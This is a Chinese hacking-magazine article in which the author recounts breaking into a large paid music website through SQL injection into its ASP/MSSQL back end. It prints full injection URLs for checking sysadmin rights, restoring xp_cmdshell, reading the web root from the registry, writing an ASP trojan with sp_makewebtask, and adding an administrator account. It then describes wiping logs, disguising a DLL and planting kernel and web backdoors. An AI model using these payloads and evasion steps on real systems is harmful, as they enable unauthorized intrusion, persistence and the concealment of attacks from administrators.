利用純指令碼技術，獲得系統許可權

難易程度：中級
適合對象：指令碼技術愛好者
前置知識：SQL注入基本知識
wtf：這個文章小編今天來“客串”一下本版編輯，因為好友“臭要飯的！”給我此文的時候一再叮囑內容的重要性和轟動性，所以這次委屈指令碼小子了，呵呵。閑話少說，這絕對是一篇真實的安全性測試文章，也是極具觀賞性的。文中在某些問題上可能走了彎路，但是那是為了給大家講解一個思路，所以關鍵的解決問題的思路才是最值得大家學習的。本文作者對指令碼注入漏洞的深入瞭解,也有對入侵的新思維分析。如果你對指令碼安全興趣濃厚但難有機會真槍實戰，能錯過這篇文章嗎？
如果說以往的指令碼攻擊都只停留在web層次的話，這次的文章是深入到了系統層了，因為SQL最迷人的地方在於它強大的功能，而其中很多不為人知的地方又是最迷人的！本文很多技術絕對是第一次出現！來吧！神秘的面紗將慢慢揭開！
劃時代的指令碼攻擊
——利用純指令碼技術獲得系統許可權
文/圖　　臭要飯的
目前網上很流行SQL INJECTION 漏洞，也就是我們通常所說的SQL注入漏洞，我們利用這類漏洞可以跨表、跨庫查詢資料庫資訊，以及通過論壇來上傳檔案從而得到主機WebShell（這些都是一些很通常的手法，黑防原來也介紹得比較詳細）。
前段時間我對一大型音樂收費網站進行安全性測試，結果我利用純指令碼技術，拿到了系統管理員許可權。所以，今天我就為大家介紹一下全部經過和我的具體思路分析。

一．踩點
踩點，是對一個伺服器進行安全性測試的首要工作。我們對伺服器先進行連接埠掃描。我拿出了朋友寫的一款非常不錯的掃描程式，速度相當快，可以同時開2000個線程！（wtf：ＧＯＯＤ！）半支煙功夫，連接埠1-65535就掃完了。
掃描的開放連接埠如下：
21,80,1433,3389
再次掃描得到的結果相同，幾乎能肯定是這些了。衝擊波過後，網路上的伺服器安全了許多，利用系統漏洞入侵也變得有難度了。先來分析了一下：我把目的地組中在21和1433連接埠。現在只有看看運氣，看是否能掃出個弱口令（wtf：呵呵，想得倒挺美！）——真是倒黴，我很久都沒有掃到存在弱口今的機子了，今天也一樣，什麼都沒掃出來。看來，我只有從網站指令碼上尋找出路了。

二．對網站進行全方面的探索
開了1433連接埠，即SQLSERVER服務，一般網站都是ASP+MSSQL結構來架設的,並且ASP指令碼的注入漏洞比其他指令碼漏洞好找，漏洞存在的機率也相對要大得多。一般情況下，我在提交的參數後加上單引號提交，如果參數沒有過濾，IE一般都會返回錯誤資訊。
我很快找到了一個沒有經過任何過濾的參數。
提交http://www.something.com/script.asp?id=2'
IE返回：

提交http://www.something.com/script.asp?id=2 and 1=1
IE返回正常記錄。
提交http://www.something.com/script.asp?id=2 and 1=2
IE沒有返回記錄。
好了，這樣就確定存在注入漏洞了，下面我們來利用這個漏洞拿到伺服器和資料庫的一些相關資訊。譬如：想看伺服器打的補丁情況，我們提交：
http://www.something.com/script.asp?id=2 and 1=(select @@VERSION)
出錯了，呵呵，IE給我們返回錯誤資訊1所示：

圖1
看來伺服器打了SP4補丁，“據說”打了SP4後，也有對80的溢出程式和對MSSQL SP3的溢出程式。不過這些屬於“絕對機密”，估計除了wtf那小子有，很少人能搞到，反正我是沒有的，那天敲詐他去！現在我們繼續！
這台伺服器從系統方面對於我們來講，是比較安全的，所以我還是接著從指令碼方面著手吧。再來看看他的資料庫連接帳號的許可權，提交：
http://www.something.com/script.asp?id=2 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
返回正常，這證明當前串連的帳號是伺服器角色sysadmin許可權。
wtf：IS_SRVROLEMEMBER（'role' [,'login']）函數用於判斷當前的使用者登入是否是指定的伺服器角色的成員。其中，role為被檢查的伺服器角色的名稱。而login是可選的，如果未指定，那麼使用目前使用者的登陸帳號。如果login是role的成員，則返回1，不是則返回0，如果role或login無效，則返回NULL。
我差點沒把嘴裡的一口茶噴到電腦螢幕上。當前串連帳號的伺服器角色居然是sysadmin許可權！2所示：

圖2
哈哈！看來串連帳號多半是採用SA帳號串連的了。
提交：
http://www.something.com/script.asp?id=2 and 'sa'=(SELECT System_user)
用來查看串連帳號是不是用sa 串連的，IE再一次返回正常。這證明了串連帳號真的是SA，看來許可權是至高無上的了。
wtf：當使用應用程式角色時，執行 SELECT USER 將返回當前使用的應用程式角色的名稱。如果要獲得已登入使用者的身份，則使用Transact-SQL 陳述式：SELECT SYSTEM_USER。
到這裡，可能很多人就想到了利用xp_cmdshell擴充預存程序來加系統帳號，然後再使用終端串連伺服器。這是非常不錯的想法！我也是很多人中的一員！我們來試試看行不行吧！

三．利用MSSQL預存程序，得到WebShell
下面，讓我們看看xp_cmdshell是否被管理員刪除了！提交:
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
IE 返回的資訊如下：

看來,xp_cmdshell已經被刪除了。呵呵，我們來給他恢複一下吧！
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'
再試，看xp_cmdshell是不是恢複過來了?
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
wtf：小編在後來的嘗試中，發現xp_cmdshell恢複過來了？哈哈，不知道是哪位兄弟留下來的戰果？
同樣沒有返回內容。這證明，管理員把xplog70.dll這個動態連結程式庫給改名了。要不給刪除了，看來直接恢複是沒有辦法的了。對此，我只能說兩個字“我忍”！
這麼好個漏洞，不好好利用我是不甘心的，再說都到這地步了，正有勁呢。先拿他的WebShell再說，哼哼，拿到WebShell後，我自然有辦法對付他了，哈哈哈…（星仔般的奸笑！）。
下面看如何拿到WebShell!
看過N.E.V.E.R和CZY的文章沒有？拿WebShell的方法，兩位都已經詳細的介紹過了。我也把他們的方法寫成了程式，方便我使用，不過很困難的是得不到Web絕對路徑。那我們產生的木馬儲存在什麼地方呢？
這可能是很多牛人一直在研究的問題。還好，我對MSSQL還是瞭解一點。我有辦法得到他的Web絕對路徑，跟我來吧。（wtf：這絕對是個非常非常大的閃光點！大家看清楚了！）
下面我們要利用到兩個MSSQL預存程序。不過有必要先給大家介紹一下xp_regread 擴充預存程序和sp_makewebtask Web 助手預存程序：xp_regread是用來讀取註冊表資訊的，我們通過這個預存程序來得到儲存在註冊表中Web絕對路徑。
sp_makewebtask在我們這裡是用來得到WebShell的，其主要功能就是匯出資料庫中表的記錄為檔案，檔案名稱你可以自己指定。當然我們這裡就指定為ASP指令檔啦！試想，如果表中記錄儲存的是指令碼代碼，匯出來的檔案也就是指令檔了。所以，我們添加的記錄就是指令碼代碼。
這裡我就不用N.E.V.E.R的方法了。他的方法是匯出庫檔案，匯出的檔案都比較大，並且很多亂碼看起來不方便，如果記錄中存在ASP的標記符並且有錯誤的ASP代碼那就不好辦了，開啟多半返回500的錯誤碼，所以我們採用CZY的方法，就是Web作業來得到Shell。

1.怎麼拿到Web絕對路徑？
呵呵？這個問題，花了我很長時間去研究。大家都知道MS的東西很多都放在註冊表中的，Web位置我們可以在註冊表中得到，位置如下：
HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots
利用擴充預存程序xp_regread我們可以取得它的值.
EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/'
這樣，就取出來了，但問題又來了，取是取出來了，我們怎麼在IE中返回它的值呢？我的方法是：先建立一個暫存資料表，表中加一欄位，類型為：char 255。呵呵，用它來儲存Web絕對路徑的值。表建好後，我們就用讀取註冊表的方法，把返回的值儲存在一變數中。然後向建立的表中加入記錄（即變數的值）。這樣，路徑就寫入到了表中。提交：
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/', @result output insert into 暫存資料表 (臨時欄位名) values(@result);--
然後，我們再提交: 1=(select count(*) from 暫存資料表 where 臨時欄位名>1)
這樣IE報錯,就把剛才插進去的Web路徑的值報出來了。我也試過直接用變數來報錯，讓IE返回變數的值，結果是失敗的，所以就想到了建暫存資料表加資料進去的方法！最後我們再刪除剛建的暫存資料表。WebShell就得到了，工作就此告一段落。

2.怎麼拿到WebShell?
CZY的文章已經寫得很詳細了。所以，我這裡就只簡單的提一下吧! 先建立一個表，建一欄位，然後向這個欄位中加入木馬的內容。然後，把內容通過xp_makewebtask預存程序匯出成ASP指令碼儲存在Web絕對路徑中。再次刪除建的暫存資料表，一切OVER。如：
EXECUTE sp_makewebtask @outputfile = ‘WEB絕對路徑/匯出的檔案名稱.asp',
@query = 'SELECT 你的欄位 FROM 你建的暫存資料表'
呵呵，結果就出來了。當然我都寫成了程式，所以就不用麻煩自己手工一行一行的加資料進去了（wtf：本期文章有詳細介紹！大家一定不會失望！）。方法和思路都寫了，現在我們就來行動吧。
還是先看看，他這兩個擴充預存程序是不是已經被刪除了。如果被刪了，我也不想活了！呵呵，提交：
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')
再提交：
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')
啦啦啦！今天是什麼日子，我比過年還開心啦。全部返回正常！兩個要用到的預存程序都沒有刪除。
wtf註：一般管理員也不會刪除這兩個，可能對它們的瞭解比較少，也就不會注意它們嘛！危機就在這裡面！嘿嘿。
好，拿到Web絕對路徑後。繼續建表:
http://www.something.com/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][char](255));
這樣我們就成功地建了一個名為cyfd的表，並且添加了類型是char，長度為255的欄位名gyfd。然後向表中加資料:
http://www.something.com/script.asp?id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
從註冊表中讀出Web絕對路徑，再把路徑插入到剛建的表中。然後報出WebShell的絕對路徑：
http://www.something.com/script.asp?id=2 and 1=(select count(*) from cyfd where gyfd > 1)
出錯後，IE返回錯誤，我們得到Web絕對路徑“d:/Inetpub/wwwroot”！經過努力的成功特別香甜！喝口茶！3

圖3
然後刪除剛才建的表，提交：
http://www.something.com/script.asp?id=2;drop table cyfd;--
OK，有了路徑下面就好辦多了。開啟我寫的擷取WebShell的程式，輸入漏洞URLhttp://www.yfd.com/yfd.com?id=2
輸入儲存木馬的絕對路徑：d:/Inetpub/wwwroot。
木馬我早就配置好了，代碼精簡了又精簡，只有30行代碼，這樣才少向伺服器提交資料。加快速度嘛！木馬的主要功能，就是輸入內容，把輸入的內容儲存為一個檔案。呵呵，通過這樣的木馬，我們就可以實現上傳一些功能強大的指令碼木馬了，如海洋木馬。
一分鐘不到。程式都已經運行完畢。輸入相應的路徑，娃哈哈（wtf：要飯的兄弟挺喜歡這個“飲品”？哈哈！），WebShell來了，最快的速度產生了一個海洋木馬，4，圖5:

圖4

圖5
我生活在幸福之中！——wtf常常說這句話，今天看來我也被感染了！下面我們還得來！

四．恢複xp_cmdshell，向系統許可權進軍！
下面的工作就是很簡單，很輕鬆了。10分鐘不到，就給你一個管理員帳號，都說了xp_cmdshell已經被刪除了。並且無法恢複，這多半是管理員把xplog70.dll檔案給刪除，要不改名了。沒事，我們上傳一個xplog70.dll就搞定一切了，通過WebShell。我很快就把xplog70.dll檔案給他上傳到e:/inetpub/wwwroot目錄下了，來吧，我們來給他恢複，提交：
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’, 'e:/inetpub/wwwroot/xplog70.dll'
恢複，支援絕對路徑的恢複哦。：）6

圖6
OK。我們用IE來查看一下是不是已經恢複了。提交：
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
嘿嘿。返回正常。已經恢複了，下面的還用我說嗎？呵呵！加帳號:
http://www.something.com/script.asp?id=2;exec master.dbo.xp_cmdshell 'net user chouyfd chouyfd1314yf /add'
提升自己為超級管理員
http://www.something.com/script.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators chouyfd /add'
完畢。開啟你的終端串連程式，串連吧!哈哈，終於給我連上了。到此我就成功的拿到了這台主機的系統管理員帳號。7:

圖7
下面的工作就是清除日誌和留下超級後門，閃人!

五．事後處理工作
終端串連上後，以最快的速度，清除IIS日誌，和MSSQL日誌。
同時，把xp_cmdshell也給他刪除掉，不要讓他發現了,也就不好辦了。再把我上傳的那個xplog70.dll移動到system32目錄下，改個我都不知道什麼意思的名字叫：msxlog32.dll（打死他也查不出來，哈哈！）再將*蛋兒提供的超級核心後門程式安裝起，再把存在漏洞的指令檔給打上補丁。同時在他的那個指令碼程式中，我修改了代碼，提交特定的參數(POST提示方式)，顯示我的Web後門程式! 這樣兩個後門，很保險！怕什麼呢？剛過年，真開心啊！

後記：文章可能有很多地方大家不太明白，篇幅有限，如有必要，直接和我交流吧！：dy-e@163.net，這次完全通過指令碼技術拿到系統管理員帳號。這也是我很久以來對MSSQL深入學習的結果。本文章主要在於展現入侵的思路，入侵方法是多種多樣的，希望本文思路對大家有所協助，祝大家猴年快樂，萬事如意！